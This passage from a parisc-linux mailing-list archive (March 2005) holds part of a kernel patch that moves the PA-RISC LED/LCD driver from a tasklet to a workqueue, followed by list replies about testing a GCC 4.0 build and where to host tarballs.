=2D	    case 3:	block_ptr =3D &lcd_info.lan_tx;
=2D			value =3D leds & LED_LAN_TX;
=2D			break;
=2D	    default:	/* should never happen: */
=2D			return;
=2D	}
+	static int lastleds, i;
+	static unsigned char mask[4] =3D { LED_HEARTBEAT, LED_DISK_IO,
+		LED_LAN_RCV, LED_LAN_TX };
+=09
+	static struct lcd_block * blockp[4] =3D {
+		&lcd_info.heartbeat,
+		&lcd_info.disk_io,
+		&lcd_info.lan_rcv,
+		&lcd_info.lan_tx
+	};
=20
=2D	if (last_was_cmd) {
=2D	    /* write the value to the LCD data port */
=2D    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_RE=
G );
=2D	} else {
=2D	    /* write the command-byte to the LCD command register */
=2D    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
=2D	}   =20
=2D=09
=2D	/* now update the vars for the next interrupt iteration */=20
=2D	if (++last_was_cmd =3D=3D 2) { /* switch between cmd & data */
=2D	    last_was_cmd =3D 0;
=2D	    if (++last_index =3D=3D 4)=20
=2D		last_index =3D 0;	 /* switch back to heartbeat index */
+	/* Convert min_cmd_delay to milliseconds */
+	unsigned int msec_cmd_delay =3D 1 + (lcd_info.min_cmd_delay / 1000);
+=09
+	for (i=3D0; i<4; ++i)=20
+	{
+		if ((leds & mask[i]) !=3D (lastleds & mask[i]))=20
+		{
+			gsc_writeb( blockp[i]->command, LCD_CMD_REG );
+			msleep(msec_cmd_delay);
+		=09
+			gsc_writeb( leds & mask[i] ? blockp[i]->on :=20
+					blockp[i]->off, LCD_DATA_REG );
+			msleep(msec_cmd_delay);
+		}
 	}
+	lastleds =3D leds;
 }
=20
=20
@@ -355,7 +358,7 @@ static __inline__ int led_get_net_activi
=20
 	rx_total =3D tx_total =3D 0;
 =09
=2D	/* we are running as tasklet, so locking dev_base=20
+	/* we are running as a workqueue task, so locking dev_base=20
 	 * for reading should be OK */
 	read_lock(&dev_base_lock);
 	for (dev =3D dev_base; dev; dev =3D dev->next) {
@@ -417,10 +420,9 @@ static __inline__ int led_get_diskio_act
=20
=20
 /*
=2D   ** led_tasklet_func()
+   ** led_work_func()
    **=20
=2D   ** is scheduled at every timer interrupt from time.c and
=2D   ** updates the chassis LCD/LED=20
+   ** is scheduled every 5 milliseconds and updates the chassis LCD/LED=20
=20
     TODO:
     - display load average (older machines like 715/64 have 4 "free" LED's=
 for that)
@@ -431,66 +433,104 @@ static __inline__ int led_get_diskio_act
 #define HEARTBEAT_2ND_RANGE_START (HZ*22/100)
 #define HEARTBEAT_2ND_RANGE_END   (HEARTBEAT_2ND_RANGE_START + HEARTBEAT_L=
EN)
=20
=2D#define NORMALIZED_COUNT(count) (count/(HZ/100))
+#define LED_MINIMUM_ON_TIME (HZ*10/100)
=20
=2Dstatic void led_tasklet_func(unsigned long unused)
+#define LED_UPDATE_INTERVAL (1 + (HZ*4/1000))
+
+static void led_work_func (void *unused)
 {
 	static unsigned char lastleds;
=2D	unsigned char currentleds; /* stores current value of the LEDs */
=2D	static unsigned long count; /* static incremented value, not wrapped */
 	static unsigned long count_HZ; /* counter in range 0..HZ */
=20
+	static unsigned long diskio_on_jiffies;
+	static unsigned long lantx_on_jiffies;
+	static unsigned long lanrcv_on_jiffies;
+
+	unsigned char currentleds =3D 0; /* stores current value of the LEDs */
+=09
 	/* exit if not initialized */
 	if (!led_func_ptr)
 	    return;
=20
=2D	/* increment the local counters */
=2D	++count;
=2D	if (++count_HZ =3D=3D HZ)
+	/* increment the local counter */
+	count_HZ +=3D LED_UPDATE_INTERVAL;
+	if (count_HZ >=3D HZ)
 	    count_HZ =3D 0;
=20
=2D	currentleds =3D lastleds;
=2D
 	if (led_heartbeat)
 	{
 		/* flash heartbeat-LED like a real heart (2 x short then a long delay) */
 		if (count_HZ<HEARTBEAT_LEN ||=20
 		    (count_HZ>=3DHEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_RAN=
GE_END))=20
 		    currentleds |=3D LED_HEARTBEAT;
=2D		else
=2D		    currentleds &=3D ~LED_HEARTBEAT;
 	}
=20
=2D	/* look for network activity and flash LEDs respectively */
=2D	if (led_lanrxtx && ((NORMALIZED_COUNT(count)+(8/2)) & 7) =3D=3D 0)
+	/* If the leds are on, but should be turned off, make sure they have been=
 on for
+	 * the minimum time, to prevent 'flutter'=20
+	 */
+
+	/* look for network activity and flash LEDs accordingly */
+	if (led_lanrxtx)
 	{
=2D		currentleds &=3D ~(LED_LAN_RCV | LED_LAN_TX);
=2D		currentleds |=3D led_get_net_activity();
+		unsigned char new_lan_leds =3D led_get_net_activity();
+=09
+		/* TX LED */
+		if (new_lan_leds & LED_LAN_TX)=20
+		{
+			currentleds |=3D LED_LAN_TX;
+			lantx_on_jiffies =3D jiffies;
+		}
+		else if (lastleds & LED_LAN_TX && time_before(jiffies, lantx_on_jiffies =
+ LED_MINIMUM_ON_TIME))
+		{
+			currentleds |=3D LED_LAN_TX;
+		}
+	=09
+		/* RCV LED */
+
+		if (new_lan_leds & LED_LAN_RCV)=20
+		{
+			currentleds |=3D LED_LAN_RCV;
+			lanrcv_on_jiffies =3D jiffies;
+		}
+		else if (lastleds & LED_LAN_RCV && time_before(jiffies, lanrcv_on_jiffie=
s + LED_MINIMUM_ON_TIME))=20
+		{
+			currentleds |=3D LED_LAN_RCV;
+		}
 	}
=20
=2D	/* avoid to calculate diskio-stats at same irq  as netio-stats */
=2D	if (led_diskio && (NORMALIZED_COUNT(count) & 7) =3D=3D 0)
+	/* Calculate disk IO */
+	if (led_diskio)
 	{
=2D		currentleds &=3D ~LED_DISK_IO;
=2D		currentleds |=3D led_get_diskio_activity();
+		unsigned char new_io_led =3D led_get_diskio_activity();
+	=09
+		if (new_io_led & LED_DISK_IO)=20
+		{
+			currentleds |=3D LED_DISK_IO;
+			diskio_on_jiffies =3D jiffies;
+		}
+		else if (lastleds & LED_DISK_IO && time_before(jiffies, diskio_on_jiffie=
s + LED_MINIMUM_ON_TIME))=20
+		{
+			currentleds |=3D LED_DISK_IO;
+		}
 	}
=20
 	/* blink all LEDs twice a second if we got an Oops (HPMC) */
=2D	if (oops_in_progress) {
+	if (oops_in_progress)=20
+	{
 		currentleds =3D (count_HZ<=3D(HZ/2)) ? 0 : 0xff;
 	}
 =09
 	/* update the LCD/LEDs */
=2D	if (currentleds !=3D lastleds) {
=2D	    led_func_ptr(currentleds);
=2D	    lastleds =3D currentleds;
+	if (currentleds !=3D lastleds)
+	{
+		led_func_ptr(currentleds);
+		lastleds =3D currentleds;
 	}
+=09
+	/* Requeue ourself to run in 5 jiffies */=09
+	queue_delayed_work(led_wq, &led_task, LED_UPDATE_INTERVAL);
 }
=20
=2D/* main led tasklet struct (scheduled from time.c) */
=2DDECLARE_TASKLET_DISABLED(led_tasklet, led_tasklet_func, 0);
=2D
=2D
 /*
    ** led_halt()
    **=20
@@ -519,9 +559,13 @@ static int led_halt(struct notifier_bloc
 	default:		return NOTIFY_DONE;
 	}
 =09
=2D	/* completely stop the LED/LCD tasklet */
=2D	tasklet_disable(&led_tasklet);
=2D
+	/* Cancel the work item and delete the queue */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+		destroy_workqueue(led_wq);
+	}
+=20
 	if (lcd_info.model =3D=3D DISPLAY_MODEL_LCD)
 		lcd_print(txt);
 	else
@@ -586,9 +630,6 @@ int __init register_led_driver(int model
 	initialized++;
 	register_reboot_notifier(&led_notifier);
=20
=2D	/* start the led tasklet for the first time */
=2D	tasklet_enable(&led_tasklet);
=2D=09
 	return 0;
 }
=20
@@ -623,7 +664,7 @@ void __init register_led_regions(void)
    ** lcd_print()
    **=20
    ** Displays the given string on the LCD-Display of newer machines.
=2D   ** lcd_print() disables the timer-based led tasklet during its=20
+   ** lcd_print() disables the timer-based led work task during its=20
    ** execution and enables it afterwards again.
    **
  */
@@ -634,12 +675,14 @@ int lcd_print( char *str )
 	if (!led_func_ptr || lcd_info.model !=3D DISPLAY_MODEL_LCD)
 	    return 0;
 =09
=2D	/* temporarily disable the led tasklet */
=2D	tasklet_disable(&led_tasklet);
=2D
+	/* temporarily disable the led work task */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+	}
 	/* copy display string to buffer for procfs */
 	strlcpy(lcd_text, str, sizeof(lcd_text));
=2D=09
+
 	/* Set LCD Cursor to 1st character */
 	gsc_writeb(lcd_info.reset_cmd1, LCD_CMD_REG);
 	udelay(lcd_info.min_cmd_delay);
@@ -653,8 +696,10 @@ int lcd_print( char *str )
 	    udelay(lcd_info.min_cmd_delay);
 	}
 =09
=2D	/* re-enable the led tasklet */
=2D	tasklet_enable(&led_tasklet);
+	/* re-queue the work */
+	if (led_wq) {
+		queue_work(led_wq, &led_task);
+	}
=20
 	return lcd_info.lcd_width;
 }
diff -urpN oldtree/include/asm-parisc/led.h newtree/include/asm-parisc/led.h
=2D-- oldtree/include/asm-parisc/led.h	2004-12-30 08:07:48.000000000 +0000
+++ newtree/include/asm-parisc/led.h	2005-03-24 20:31:59.000000000 +0000
@@ -23,9 +23,6 @@
=20
 #define LED_CMD_REG_NONE 0		/* NULL =3D=3D no addr for the cmd register */
=20
=2D/* led tasklet struct */
=2Dextern struct tasklet_struct led_tasklet;
=2D
 /* register_led_driver() */
 int __init register_led_driver(int model, unsigned long cmd_reg, unsigned =
long data_reg);
=20

--Boundary-01=_VpyQC8/c3N8Bsfx--

--nextPart2757519.HmDgPxnUXr
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCQypWOIrGtzS07WgRAi4iAKCkQ8p7WtyNegf2wBxVIsC+FnN+aACgsNMY
xwy1Pdqj+ZtPYTdb+JK1puw=
=gUUU
-----END PGP SIGNATURE-----

--nextPart2757519.HmDgPxnUXr--

--===============1437315856==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1437315856==--



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 14:23:17 -0700
Lines: 99
Approved: news@gmane.org
Message-ID: <20050324212317.GB29361@colo.lackof.org>
References: <20050324165947.GA29361@colo.lackof.org>
	<200503241735.j2OHZ9q0008488@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623713 13449 80.91.229.3 (22 Nov 2014 02:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 21:21:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 24 Mar 2005 22:21:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81F1C7D688;
	Thu, 24 Mar 2005 14:23:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29864-08; Thu, 24 Mar 2005 14:23:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B8CE7D689;
	Thu, 24 Mar 2005 14:23:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 539347D686
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:23:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29965-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:23:08 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BC3DC7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:23:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9723929805E;
	Thu, 24 Mar 2005 14:23:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01368-04; Thu, 24 Mar 2005 14:23:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 14728298052; Thu, 24 Mar 2005 14:23:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503241735.j2OHZ9q0008488@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OkoxYpt+eSE5+76WZHQhaXN2IGRvb0C4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22487

On Thu, Mar 24, 2005 at 12:35:09PM -0500, John David Anglin wrote:
> > On Thu, Mar 24, 2005 at 11:19:28AM -0500, John David Anglin wrote:
> > ...
> > > From a PA standpoint, GCC 4 is ready for serious testing.  All testsuite
> > > bugs have been squashed in C and C++.
> > 
> > Is there a .deb or tarball available I can drop on a bunch of machines?
> 
> There is a recent build in /home/dave/opt/gnu/gcc/gcc-4.0.0 on gsyprf11.

Randolph Chung pointed to another gcc-4.0 build on gsyprf7.
That's fine for me...but several other people would probably want to
try this out on other machines.  And I like to make use of distcc.
gcc-4.0 must be in the same place on several machines for distcc to work.

> Unfortunately, it was built using --with-as= and --with-ld=, so it isn't
> very portable.  I could do a build with the system's as and ld that
> would be more portable.  I'm not setup to generate a .deb that would
> be system installable.

A tarball will do for now. Let someone good at debian packaging
worry about that bit.
My preference is the tarball use directory names/places like
existing gcc-3.x versions do:

grundler@gsyprf11:~$ ls /usr/bin/*3.4
/usr/bin/cpp-3.4*     /usr/bin/hppa-linux-cpp-3.4@
/usr/bin/g++-3.4*     /usr/bin/hppa-linux-g++-3.4@
/usr/bin/gcc-3.4*     /usr/bin/hppa-linux-gcc-3.4@
/usr/bin/gccbug-3.4*  /usr/bin/hppa64-linux-cpp-3.4*
/usr/bin/gcov-3.4*    /usr/bin/hppa64-linux-gcc-3.4*

grundler@gsyprf11:~$ ls /usr/lib/gcc*/hppa*-linux/
/usr/lib/gcc-lib/hppa-linux/:
3.0.4/  3.3.5/

/usr/lib/gcc-lib/hppa64-linux/:
3.0.4/  3.3.3/  3.3.5/

/usr/lib/gcc/hppa-linux/:
3.4.4/

/usr/lib/gcc/hppa64-linux/:
3.4.4/

My assumption is a gcc-4.0 tarball won't clobber any existing files.
So if that's not possible with the above locations, /opt/gnu
would be fine too.


> You are welcome to try the version in /home/dave/opt/gnu/gcc/gcc-4.0.0.

Ok - I will over the next couple of days.

> It's easily turned into a tarball.

BTW, you can host the tarball on http://gsyprf11.e.h.c/~dave/.
Just "mkdir ~/public_html" and start dropping stuff in there.
Alternate URL is http://iou.parisc-linux.org/~dave/

Please advertise where/when a suitable one is available.

> > I'd be happy to test for kernel builds.
> 
> That would provide useful.  In the past, there usually have been new
> features or deprecated features that have caused problems.

ok

> 4.0 has a
> new option, -mfixed_range=, that was introduced so that a small range
> of fp registers could be used for the xmpyu multiplication insn.  It
> might be useful to experiment with this option to see if it useful.

I don't know enough about ABI to understand the issues here.
AFAIK, we currently are using FP registers because that's
the way multiplication is implemented in the integer math libs
we inherited.

> This was borrowed from ia64.

*nod*. I expect hppa can benefit for the same reasons: hppa has
quite a few FP regs and some things FP can just do alot faster.
I just don't know what "some things" consists of.

thanks,
grant

> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 14:33:44 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20050324213344.GC29361@colo.lackof.org>
References: <kfhwtrx2myr.fsf@csclub.uwaterloo.ca>
	<200503241619.j2OGJScZ000411@hiauly1.hia.nrc.ca>
	<20050324165947.GA29361@colo.lackof.org>
	<kfhr7i43kdx.fsf@csclub.uwaterloo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623713 13453 80.91.229.3 (22 Nov 2014 02:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:13 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "James A. Morrison" <ja2morri@csclub.uwaterloo.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 21:32:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 24 Mar 2005 22:32:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F29B07D68E;
	Thu, 24 Mar 2005 14:33:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30242-06; Thu, 24 Mar 2005 14:33:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00F777D690;
	Thu, 24 Mar 2005 14:33:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E6437D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:33:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30242-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:33:33 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B2B937D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 14:33:33 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8E9C429805E;
	Thu, 24 Mar 2005 14:33:44 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01368-09; Thu, 24 Mar 2005 14:33:44 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2AA59298052; Thu, 24 Mar 2005 14:33:44 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <kfhr7i43kdx.fsf@csclub.uwaterloo.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sFQxYjNGeSE5+76WZHQhaXN2IGRvb4Dl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22488

On Thu, Mar 24, 2005 at 02:37:46PM -0500, James A. Morrison wrote:
> > Is there a .deb or tarball available I can drop on a bunch of machines?
> 
>  Try the gcc-snapshot package.

Ah..."unstable" package:
	g/gcc-snapshot/gcc-snapshot_20050319-1.diff.gz
	g/gcc-snapshot/gcc-snapshot_20050319-1.dsc
	g/gcc-snapshot/gcc-snapshot_20050319-1_i386.deb
	g/gcc-snapshot/gcc-snapshot_20050319-1_ia64.deb
	g/gcc-snapshot/gcc-snapshot_20050319-1_mipsel.deb
	g/gcc-snapshot/gcc-snapshot_20050319-1_powerpc.deb
	g/gcc-snapshot/gcc-snapshot_20050319-1_s390.deb
	g/gcc-snapshot/gcc-snapshot_20050319.orig.tar.gz

Hrm... looks like hppa didn't build in the last one.
Most recent one available is 
	g/gcc-snapshot/gcc-snapshot_20050212-1_hppa.deb


Thinking about it more, I'd rather have Dave reccomend a tarball
he knows the test results for and is comfortable with them.

thanks though,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 15:33:46 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <20050324223346.GE29361@colo.lackof.org>
References: <20050324212317.GB29361@colo.lackof.org>
	<200503242133.j2OLXl4R020985@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623713 13454 80.91.229.3 (22 Nov 2014 02:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 22:32:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 24 Mar 2005 23:32:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5393B7D68E;
	Thu, 24 Mar 2005 15:33:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30840-07; Thu, 24 Mar 2005 15:33:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 630607D690;
	Thu, 24 Mar 2005 15:33:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6CF97D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 15:33:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30840-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 15:33:37 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2F3027D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 15:33:37 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3368029805E;
	Thu, 24 Mar 2005 15:33:48 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02321-03; Thu, 24 Mar 2005 15:33:46 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B4168298052; Thu, 24 Mar 2005 15:33:46 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503242133.j2OLXl4R020985@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r1oxYrZQeSE5+76WZHQhaXN2IGRvb0C4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
